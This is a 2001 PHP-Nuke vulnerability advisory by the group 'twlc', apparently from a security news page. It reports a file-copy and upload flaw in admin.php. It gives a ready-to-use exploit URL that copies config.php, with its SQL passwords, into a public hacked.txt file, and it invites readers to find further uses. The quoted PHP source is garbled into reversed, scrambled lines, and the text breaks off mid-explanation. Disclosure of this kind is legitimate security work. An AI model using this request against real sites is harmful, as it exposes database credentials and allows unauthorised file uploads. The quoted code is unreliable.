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                              twlc: here your 0day from LucisFero and supergate
                                Posted on Monday, September 24 @ 14:25:58 CDT

                                                                                topic: advisories
                                                                          twlc security divison

                                                                                         24/09/2001

                                                                            .Php nuke BUGGED

                                                                                          :Found by
                                                                    LucisFero and supergate

                                                                                                 twlc/.

                                                                                          Summary
     This time the bug is really dangerous...it allows you to 'cp' any file on

                                                           ...the box... or even upload files

                                                                               Systems Affected
                                                           all the versions ARE vulnerable
    except '5.0 RC1' (i wonder why a released c. is ok while the final 5.2 is

                                                                                            (bugged

                                                                                       Explanation
                                                                ?Do you need sql password

                                                       http://www.server.net/admin.php?
 upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfil

                                              e=config.php&userfile_name=hacked.txt

                                 the admin 'login' page will be prompted just go to
http://www.server.net/images/hacked.txt and you will see config.php that

   as everyone knows contain the sql's passwords, you can even upload
   files...i leave you the 'fun' to find all the ways to use it... and try to dont
  be a SCRIPT KIDDIE we wrote this advisory to help who runs php nuke

                                                       .and NOT TO LET YOU HAVE FUN

                :let me explain you the bug... admin.php contains this routine
                                            ;(basedir = dirname($SCRIPT_FILENAME$
                                                                                  ;textrows = 20$
                                                                                   ;textcols = 85$
                                                             ;(udir = dirname($PHP_SELF$
                                                                            ;"/"=if(!$wdir) $wdir
                                                            ;"if($cancel) $op="FileManager

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